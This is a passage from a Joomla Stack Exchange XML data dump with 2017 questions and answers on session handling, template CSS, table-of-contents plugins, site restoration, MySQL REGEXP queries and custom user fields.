think these fields should not disappear.&lt;/p&gt;&#xA;" OwnerUserId="7164" LastEditorUserId="7164" LastEditDate="2017-07-22T14:50:01.893" LastActivityDate="2017-07-22T14:50:01.893" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21054" PostTypeId="1" CreationDate="2017-06-25T17:19:19.963" Score="1" ViewCount="69" Body="&lt;p&gt;I am running into an issue where my article will not post if the content of the article is over 3000 characters. When I click save, it appears to be trying to post but then I am taken to a white screen.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am using JCE Editor but I have also tried Tiny MCE and nothing works. I have also disabled by JCH Optimize plugin but this still does not solve the issue.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any ideas how I can resolve this issue?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance.&lt;/p&gt;&#xA;" OwnerUserId="11239" LastActivityDate="2017-08-19T05:29:02.597" Title="Joomla article wont post if the content is over 3000 characters" Tags="|articles|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="21055" PostTypeId="2" ParentId="2530" CreationDate="2017-06-26T08:30:19.760" Score="1" Body="&lt;p&gt;OK, the problem is that we got to use the same session.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In order to do that. We had to call &lt;code&gt;$session-&amp;gt;getId()&lt;/code&gt; to get current &lt;code&gt;seeeion_id&lt;/code&gt; then send it to the client side, when we create the session and save the data.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then the client side should pass back the &lt;code&gt;session_id&lt;/code&gt; when they want to retrieve back the session data, and we pass the &lt;code&gt;seeeion_id&lt;/code&gt; as a one of the parameters of &lt;code&gt;JFactory::getSession()&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The &lt;code&gt;JFactory::getSession()&lt;/code&gt; can take an array as its parameter.  To specify the &lt;code&gt;session_id&lt;/code&gt; we use &lt;code&gt;id&lt;/code&gt; as the name. so the codes are&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$options = array(&#xA;    &quot;id&quot; =&amp;gt; $input_msg-&amp;gt;session_id&#xA;);&#xA;$session = JFactory::getSession($options);&#xA;$firstvalue = $session-&amp;gt;get('firstvalue');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;where the &lt;code&gt;$input_msg-&amp;gt;session_id&lt;/code&gt; is the &lt;code&gt;session_id&lt;/code&gt; you retrieve back from user's input.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Another important issue is that if we want to &lt;code&gt;destroy()&lt;/code&gt; the session, right after we retrieve back the session by &lt;code&gt;$session = JFactory::getSession($options)&lt;/code&gt;.  We got to activate the session by calling &lt;code&gt;$session-&amp;gt;start()&lt;/code&gt;, then calling &lt;code&gt;$session-&amp;gt;destroy()&lt;/code&gt; can be success, otherwise we'll got a fail message.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;By the way, you can find your sessions on &lt;code&gt;#__session&lt;/code&gt; table one record per session.&lt;/p&gt;&#xA;" OwnerUserId="7466" LastEditorUserId="7466" LastEditDate="2017-06-28T11:14:01.093" LastActivityDate="2017-06-28T11:14:01.093" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21056" PostTypeId="2" ParentId="21046" CreationDate="2017-06-26T08:47:37.663" Score="1" Body="&lt;p&gt;I'm not a T3 expert but the page initially loads with the following HTML:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;header id=&quot;t3-header&quot; class=&quot;wrap t3-header t3-header-1&quot; data-spy=&quot;affix&quot;&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;A few seconds after the page starts loading, an &quot;affix&quot; class is added:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;header id=&quot;t3-header&quot; class=&quot;wrap t3-header t3-header-1 affix&quot; data-spy=&quot;affix&quot;&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Try changing the template navigation settings to fixed / not fixed to see if that helps.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If there are no likely looking menu settings, you could try adding some CSS to the custom CSS file to change the position of the &quot;affix&quot; class from &quot;fixed&quot; to &quot;relative&quot; like this or similar:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;.t3-header.affix {position: relative !important;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;See &lt;a href=&quot;https://joomla.stackexchange.com/a/3878/120&quot;&gt;https://joomla.stackexchange.com/a/3878/120&lt;/a&gt; for instructions on creating or editing a custom CSS file for T3 templates.&lt;/p&gt;&#xA;" OwnerUserId="120" LastActivityDate="2017-06-26T08:47:37.663" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="21057" PostTypeId="2" ParentId="21046" CreationDate="2017-06-26T08:53:01.367" Score="1" Body="&lt;p&gt;Your site header has two sections&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;header id=&quot;t3-header&quot; class=&quot;wrap t3-header t3-header-1 affix&quot; data-spy=&quot;affix&quot;&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;which contains the navigation and&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;div class=&quot;wrap masthead &quot;&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;which contains your page title with the green background.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The reason it jumps is down to how Bootstrap's Affix class works - Bootstrap waits until you have scrolled past the area it wants to fix into position before adding that &lt;code&gt;affix&lt;/code&gt; class to your header. As your header is at the top of the page, this happens as soon as the page has fully loaded (users never have to scroll past it).  However, before the page has loaded, the affix class is not part of your header tag and so the page will initially render without it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;That affix class adds the following css:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;position: fixed;&#xA;top: 0;&#xA;left: 0;&#xA;right: 0;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Position:fixed means that it appears in a layer on top of all other content, which is why when it has these styles applied, the content below is pushed up and behind it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you turn off javascript and load the page, it should illustrate how the section works without affix being applied.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you want to show all of the green area, then the simplest solution is to add padding to the top of the page:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;body {&#xA;  padding-top:52px;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;should do it.  This means that there is a space the same size as your fixed header when the header is floating, thus pushing the green area into the correct position.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For the header to begin in a fixed position, you need to add that &lt;code&gt;affix&lt;/code&gt; class to your template's code, ie change&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;header id=&quot;t3-header&quot; class=&quot;wrap t3-header t3-header-1&quot; data-spy=&quot;affix&quot;&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;to &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;header id=&quot;t3-header&quot; class=&quot;wrap t3-header t3-header-1 affix&quot; data-spy=&quot;affix&quot;&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;so that it has the afflix class in place before Bootstrap applies it dynamically.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Alternatively, you could add the css which &lt;code&gt;affix&lt;/code&gt; uses with the following code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;header#t3-header {&#xA;position: fixed;&#xA;top: 0;&#xA;left: 0;&#xA;right: 0;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;(NB These last two changes will mean the area begins in the fixed position, and thus stop the jump, but will not prevent the green section appearing behind it - you need the padding for that.)&lt;/p&gt;&#xA;" OwnerUserId="1622" LastEditorUserId="1622" LastEditDate="2017-06-26T09:04:23.430" LastActivityDate="2017-06-26T09:04:23.430" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21059" PostTypeId="1" CreationDate="2017-06-26T16:10:11.657" Score="4" ViewCount="901" Body="&lt;p&gt;I'm looking for a way (plugin, module?) to achieve the following: &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;auto-generate a Table of Content for certain long Joomla articles based on HTML tags (H1,H2 etc.) or CSS classes of headings&lt;/li&gt;&#xA;&lt;li&gt;show the ToC as a sticky sidebar&lt;/li&gt;&#xA;&lt;li&gt;when scrolling through the content, highlight the current heading in the ToC (and optionally expand subheadings)&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;I have seen similar things on several websites, so I'm surprised I couldn't find any working solution for Joomla (or maybe I just didn't know what to search for).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I thought &lt;a href=&quot;https://extensions.joomla.org/extension/ju-toc/&quot; rel=&quot;nofollow noreferrer&quot;&gt;JU ToC plugin&lt;/a&gt; should do something like this, but I can't get it to work. It generates a .jutoc element, but doesn't insert any links.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The &lt;a href=&quot;http://www.ubertoc.boomstrap.com/&quot; rel=&quot;nofollow noreferrer&quot;&gt;Uber TOC module&lt;/a&gt; seems to do exactly what I would like in its demo page, but its download is no longer available.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any suggestions?&lt;/p&gt;&#xA;" OwnerUserId="5848" LastEditorUserId="126" LastEditDate="2017-06-27T12:33:39.510" LastActivityDate="2019-02-23T02:58:37.027" Title="Article Table of Content as a sticky navigation" Tags="|joomla-3.x|module|plugin|articles|content|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21060" PostTypeId="2" ParentId="21059" CreationDate="2017-06-26T20:18:35.523" Score="2" Body="&lt;p&gt;I have developed a similar plugin for a customer, but it was somewhat tailored to a specific site- At some point I would like to rework it to make it more universal so it can work for any website. You can see the plugin in action &lt;a href=&quot;http://www.solar-nation.org/alaska&quot; rel=&quot;nofollow noreferrer&quot;&gt;here&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I didn't know that there were already some similar solutions (the extensions you mentioned on your question).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Following the links, I also found this in JED:  &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;https://extensions.joomla.org/tags/articles-toc/&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://extensions.joomla.org/tags/articles-toc/&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;https://extensions.joomla.org/extensions/extension/news-display/article-elements/extra-toc/&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://extensions.joomla.org/extensions/extension/news-display/article-elements/extra-toc/&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Also, just wanted to remind you that Joomla has already in its core the pagebreak plugin, that allows you to create table of content and split 1 article into many pages/step-pages.&lt;/p&gt;&#xA;" OwnerUserId="126" LastActivityDate="2017-06-26T20:18:35.523" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="21061" PostTypeId="1" CreationDate="2017-06-27T01:49:55.930" Score="1" ViewCount="1906" Body="&lt;p&gt;I did make a joomla and database backup from online site to localhost.(install wamp, download the files, import the database do phpmyadmin, paste the files into www folder from wapm and configure the configurration.php file where I changed the $db, $user, $password, $log_path and $tmp_path).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I run the localhost:port/project-folder it shows a blank page.&lt;br&gt;&#xA;I did inspect with browser inspector and on Network tab it shows code 200, method get, but nothing it's transferred back from server.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Ps: When I type on url: localhost/port/project-folder/administrator it shows the administrator login, but cant enter with my profile.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What's wrong? How to successfully restore the site on my localhost and why I can't login to the backend?&lt;/p&gt;&#xA;" OwnerUserId="11243" LastEditorUserId="126" LastEditDate="2017-06-27T06:01:38.890" LastActivityDate="2018-11-12T02:28:30.120" Title="Blank Page after restoring a site on localhost from a backup" Tags="|joomla-3.x|fatal-error|localhost|backups|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21062" PostTypeId="2" ParentId="21061" CreationDate="2017-06-27T06:31:58.857" Score="2" Body="&lt;p&gt;Almost every time there is a blank page on a php application, it denotes a php fatal error somewhere. It's not uncommon, it happens and there can be many reasons for it. &lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Troubleshooting tips&lt;/h2&gt;&#xA;&#xA;&lt;h3&gt;Error reporting&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;First of all, you have to enable Error Reporting, so Joomla/php will print any errors in your browser. This way you will get an idea of what's causing the fatal error.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Open &lt;code&gt;configuration.php&lt;/code&gt; search for the line:  &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;var $error_reporting = 'none';&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and set it to:   &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;var $error_reporting = 'maximum';&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Refresh the page and see if now you get any error messages. &lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;h3&gt;Different Environments &amp;amp; System Requirements&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;Usually, in cases like yours, where you are restoring a working site on a totally new environment that you just setup, this may be caused due to differences between the 2 environments. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The new environment might be lacking of important minimum system requirements that your site depends on. It can be the software versions like php, or required php extensions.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;h3&gt;Corrupted Backup&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;Other possibilities is that your backup/restoration of files might be corrupted (e.g. missing files). In this case, you need to re-do the whole procedure.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;h3&gt;Cache&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;When backing-up using hosting panels, we usually get the complete document root directory, that also includes the cache folder. However, you should not move cached files from another environment and it's possible that those may be the cause of the blank page you see. Open the cache folder of your local Joomla instance and delete everything from there - except of the &lt;code&gt;index.html&lt;/code&gt; file.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;h3&gt;Akeeba Backup&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;I would suggest you to use &lt;a href=&quot;https://www.akeebabackup.com/products/akeeba-backup.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;Akeeba Backup&lt;/a&gt;, follow their instructions on how to backup and restore, to do your task.&lt;/p&gt;&#xA;" OwnerUserId="126" LastEditorUserId="126" LastEditDate="2017-06-28T00:44:17.303" LastActivityDate="2017-06-28T00:44:17.303" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21063" PostTypeId="1" AcceptedAnswerId="21064" CreationDate="2017-06-27T08:27:02.023" Score="1" ViewCount="311" Body="&lt;p&gt;How can rows starting with non alphabetic characters (all &quot;special&quot; characters, including spaces and underscores) be selected?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I don't know if it changes anything, but my_table will also contain values starting with Greek letters.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$query = $db-&amp;gt;getQuery(true);&#xA;$query-&amp;gt;clear();&#xA;$query&#xA;    -&amp;gt;select(array('id', 'last_name', 'first_name'))&#xA;    -&amp;gt;from($db-&amp;gt;qn('#__my_table'))&#xA;    -&amp;gt;where($db-&amp;gt;qn('last_name').' LIKE '. $db-&amp;gt;q('[^a-zA-Z%]'))&#xA;    -&amp;gt;order('last_name, first_name ASC')&#xA;    -&amp;gt;setLimit($startrow, '100');&#xA;$db-&amp;gt;setQuery($query);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The query form is correct and will return the correct results if I set it as: &lt;strong&gt;$db-&gt;q('A%')&lt;/strong&gt;&#xA;so my mistake must be with the regex, but I can't see where?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;EDIT AFTER QUESTION&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am trying to create a letter menu like this &lt;strong&gt;A B C D...Α Β Γ Δ...#&lt;/strong&gt;. &#xA; When you click a letter it shows all lastnames starting from that letter when you click the &lt;code&gt;#&lt;/code&gt; it should return all other &quot;lastnames&quot; (users imports the lastnames so it could be any special character or number, space, underscores).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This code is for when clicking &lt;code&gt;#&lt;/code&gt; so it should filter out all lastnames starting with English and all lastnames starting with Greek characters. If there is any other way to categorize what I need please advice.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I found &lt;strong&gt;NOT REGEXP '. $db-&gt;q('[A-Za-z%]'))&lt;/strong&gt; (UPDATED CODE BELOW) that will do most of the job, but it won't filter the Greek letters.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$query = $db-&amp;gt;getQuery(true);&#xA;    $query-&amp;gt;clear();&#xA;    $query&#xA;        -&amp;gt;select(array('id', 'last_name', 'first_name'))&#xA;        -&amp;gt;from($db-&amp;gt;qn('#__my_table'))&#xA;        -&amp;gt;where($db-&amp;gt;qn('last_name').' NOT REGEXP '. $db-&amp;gt;q('[A-Za-zα-ωΑ-Ω%]'))&#xA;        -&amp;gt;order('last_name, first_name ASC')&#xA;        -&amp;gt;setLimit($startrow, '100');&#xA;    $db-&amp;gt;setQuery($query);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;SOLVED&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I was able to find the correct regex&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$query = $db-&amp;gt;getQuery(true);&#xA;$query-&amp;gt;clear();&#xA;$query&#xA;    -&amp;gt;select(array('id', 'last_name', 'first_name'))&#xA;    -&amp;gt;from($db-&amp;gt;qn('#__my_table'))&#xA;    -&amp;gt;where($db-&amp;gt;qn('last_name').' NOT REGEXP '. $db-&amp;gt;q('^[a-z|α-ω]'))&#xA;    -&amp;gt;order('last_name, first_name ASC')&#xA;    -&amp;gt;setLimit($startrow, '100');&#xA;$db-&amp;gt;setQuery($query);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="7457" LastEditorUserId="12352" LastEditDate="2019-02-01T09:52:04.857" LastActivityDate="2019-02-01T09:52:04.857" Title="How to query a table column for values that start with a non-alphabetic character?" Tags="|joomla-3.x|jdatabase|regex|select|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="21064" PostTypeId="2" ParentId="21063" CreationDate="2017-06-27T09:31:25.593" Score="1" Body="&lt;p&gt;First of all, do you actually need a where clause? Are you really trying to exclude any names? What are the actual exclusions you want?&lt;/p&gt;&#xA;&lt;p&gt;If you don't mean to filter any names, then you can simply remove the &lt;code&gt;WHERE&lt;/code&gt; clause in your query and have all the users/usernames.&lt;/p&gt;&#xA;&lt;p&gt;Secondly, you can't pass such regular expressions in LIKE.&#xA;I bet your above query isn't returning anything at all. That is because your WHERE is searching for names that start with &lt;code&gt;[^a-zA-Z]&lt;/code&gt; and after that can have anything.&lt;/p&gt;&#xA;&lt;p&gt;In contrast the &lt;code&gt;LIKE 'A%'&lt;/code&gt; is searching for all names that start with A and have anything after that.&lt;/p&gt;&#xA;&lt;p&gt;If you need to do regex, then MySQL provides &lt;code&gt;REGEXP&lt;/code&gt; &amp;amp; &lt;code&gt;NOT REGEXP&lt;/code&gt; &amp;amp; &lt;code&gt;RLIKE&lt;/code&gt;.&lt;/p&gt;&#xA;&lt;h3&gt;MySQL Documentation:&lt;/h3&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;https://dev.mysql.com/doc/refman/5.7/en/pattern-matching.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;Pattern Matching&lt;/a&gt;&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;https://dev.mysql.com/doc/refman/5.7/en/regexp.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;Regular Expressions&lt;/a&gt;&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;It's a bit vague what you are trying to filter... Is it names that start with numbers, or what?&lt;/p&gt;&#xA;&lt;p&gt;If so, this is a sample MySQL query with regex to filter out those:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;$query&#xA;    -&amp;gt;select(array('id', 'username'))&#xA;    -&amp;gt;from($db-&amp;gt;qn('#__users'))&#xA;    -&amp;gt;where($db-&amp;gt;qn('username').' NOT REGEXP '. $db-&amp;gt;q('^[0-9]'))&#xA;    -&amp;gt;order('username ASC')&#xA;    -&amp;gt;setLimit($startrow, '100');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="126" LastEditorUserId="-1" LastEditDate="2020-06-17T09:58:36.810" LastActivityDate="2017-06-27T09:31:25.593" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21066" PostTypeId="1" CreationDate="2017-06-27T19:01:31.837" Score="1" ViewCount="1966" Body="&lt;p&gt;I'm trying to simplify the print view for a client by removing images (and some other elements) however, this leaves some huge white gaps between the other elements in the print view.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does anyone have any ideas on how i can decrease the white space between the Names of the speakers, just to condense it down? The current css used is:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;@media print{&#xA;       .prog a{display:none;}&#xA;       #main img, .news {display:none;}&#xA;       .prog .span8 .row-fluid {margin-bottom:0;}&#xA;        #footer ul {display:none;}&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The print view can be found &#xA;[here][1] by clicking the print button.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It isn't really an option to add more elements into the html as each speaker/name is contained within its own K2 article as this is a list view.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'd be happy for any suggestions?&#xA;Regards&#xA;D&lt;/p&gt;&#xA;" OwnerUserId="7973" LastEditorUserId="7973" LastEditDate="2017-09-18T08:00:29.333" LastActivityDate="2017-09-18T08:00:29.333" Title="Remove white space when using display:none on elements in print.css" Tags="|joomla-3.x|css|" AnswerCount="1" CommentCount="3" FavoriteCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21067" PostTypeId="2" ParentId="21022" CreationDate="2017-06-28T01:33:14.413" Score="6" Body="&lt;p&gt;Yes it is possible to do this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;showon=&quot;foo!:&quot;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="7757" LastActivityDate="2017-06-28T01:33:14.413" CommentCount="11" ContentLicense="CC BY-SA 3.0" />
  <row Id="21068" PostTypeId="1" CreationDate="2017-06-28T08:29:47.590" Score="0" ViewCount="91" Body="&lt;p&gt;It's me again, and I have the following issue:&#xA;Some menu items are redirecting to 404, but only when I access my website through a cellphone, and they don't redirect if I I'm on the homepage.&#xA;For instance, if I click on any sub menu item of Inscrições and then click on the menu item Inscrições again, it's going to redirect to 404.&#xA;I have no idea how to solve this problem, and it's really bugging because nowadays most people access the internet through their cellphones.&lt;/p&gt;&#xA;" OwnerUserId="11142" LastEditorUserId="11142" LastEditDate="2017-06-28T08:35:21.387" LastActivityDate="2019-08-18T03:02:00.210" Title="Link of menu items" Tags="|joomla-3.x|menu|" AnswerCount="0" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="21069" PostTypeId="2" ParentId="21066" CreationDate="2017-06-28T09:47:24.570" Score="2" Body="&lt;p&gt;Your print view is working fine but you need to revise your content to remove extraneous &lt;code&gt;&amp;lt;p&amp;gt; &amp;lt;/p&amp;gt;&lt;/code&gt; and &lt;code&gt;&amp;lt;h4&amp;gt; &amp;lt;/h4&amp;gt;&lt;/code&gt; blocks.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Instead of this format for each speaker:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;h4&amp;gt;&#xA;  Sasja Beslik&#xA;  &amp;lt;img src=&quot;/images/conference/speakers/Sasja_Beslik.jpg&quot; alt=&quot;Sasja Beslik&quot; /&amp;gt;&#xA;&amp;lt;/h4&amp;gt;&#xA;&amp;lt;h4&amp;gt;&#xA;  &amp;lt;em&amp;gt;&#xA;    &amp;lt;span class=&quot;cred&quot;&amp;gt;&#xA;      Head of Sustainable Finance - Nordea Wealth Management - Sweden&#xA;      &amp;lt;a href=&quot;[LINK]&quot;&amp;gt;Linkedin&amp;lt;/a&amp;gt;&#xA;    &amp;lt;/span&amp;gt;&#xA;  &amp;lt;/em&amp;gt;&#xA;&amp;lt;/h4&amp;gt;&#xA;&amp;lt;p&amp;gt;&amp;amp;nbsp;&amp;lt;/p&amp;gt;&#xA;&amp;lt;p&amp;gt;&amp;amp;nbsp;&amp;lt;/p&amp;gt;&#xA;&amp;lt;p&amp;gt;&amp;amp;nbsp;&amp;lt;/p&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Try this or something similar:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;h4 style=&quot;clear: both;&quot;&amp;gt;&#xA;  Sasja Beslik&#xA;  &amp;lt;img src=&quot;/images/conference/speakers/Sasja_Beslik.jpg&quot; alt=&quot;Sasja Beslik&quot; /&amp;gt;&#xA;  &amp;lt;em&amp;gt;&#xA;    &amp;lt;span class=&quot;cred&quot;&amp;gt;&#xA;      Head of Sustainable Finance - Nordea Wealth Management - Sweden&#xA;      &amp;lt;a href=&quot;[LINK]&quot;&amp;gt;Linkedin&amp;lt;/a&amp;gt;&#xA;    &amp;lt;/span&amp;gt;&#xA;  &amp;lt;/em&amp;gt;&#xA;&amp;lt;/h4&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="120" LastActivityDate="2017-06-28T09:47:24.570" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="21070" PostTypeId="1" CreationDate="2017-06-28T12:08:00.510" Score="3" ViewCount="1871" Body="&lt;p&gt;I'm writing a PHP script that goes through the users, and reads and writes some custom user fields.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The reading part is done, by the use of the FieldsHelper. It works nicely. However, trying to write back some data into these custom user fields seems trickier...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I tried multiple ways of writing into the fields but none of them worked. It showed a 404 error page...&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;define('_JEXEC', 1);&#xA;if (file_exists(__DIR__ . '/defines.php')) {&#xA;    include_once __DIR__ . '/defines.php';&#xA;}&#xA;if (!defined('_JDEFINES')) {&#xA;    define('JPATH_BASE', __DIR__);&#xA;    require_once JPATH_BASE . '/includes/defines.php';&#xA;}&#xA;require_once JPATH_BASE . '/includes/framework.php';&#xA;&#xA;// Load the fields helper&#xA;JLoader::register('FieldsHelper', JPATH_ADMINISTRATOR . '/components/com_fields/helpers/fields.php');&#xA;&#xA;// Instantiate the application.&#xA;$app = JFactory::getApplication('site');&#xA;jimport('joomla.plugin.helper');&#xA;// JFactory&#xA;require_once (JPATH_BASE .'/libraries/joomla/factory.php');&#xA;&#xA;// Read &amp;amp; write custom fields&#xA;ReadWriteCustomFields();&#xA;&#xA;function ReadWriteCustomFields() {&#xA;    // query users&#xA;    $db = JFactory::getDBO();&#xA;    $query = &quot;SELECT id FROM #__users&quot; ;&#xA;    $db-&amp;gt;setQuery($query);&#xA;&#xA;    $rows = $db-&amp;gt;loadObjectList();&#xA;&#xA;    $model = JModelLegacy::getInstance('Field', 'FieldsModel', array('ignore_request' =&amp;gt; true));&#xA;&#xA;    //run through users&#xA;    foreach ($rows as $row) {&#xA;        //get the user object&#xA;        $user = JUser::getInstance($row-&amp;gt;id);&#xA;        //get custom fields&#xA;        $customFields = FieldsHelper::getFields('com_users.user', $user, true);&#xA;&#xA;        if($customFields[1]-&amp;gt;value == &quot;&quot;) {&#xA;            // write into custom field&#xA;            //$customFields[1]-&amp;gt;value = &quot;TRIED THIS&quot;;&#xA;            $model-&amp;gt;setFieldValue($customFields[1]-&amp;gt;id, $user-&amp;gt;id, &quot;AND ALSO THIS&quot;);&#xA;            $model-&amp;gt;setFieldValue(1, $user-&amp;gt;id, &quot;AND ALSO THIS&quot;);&#xA;        }&#xA;    }&#xA;}&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="9223" LastActivityDate="2017-11-08T15:00:52.137" Title="Joomla 3.7.x PHP API set value of custom user field" 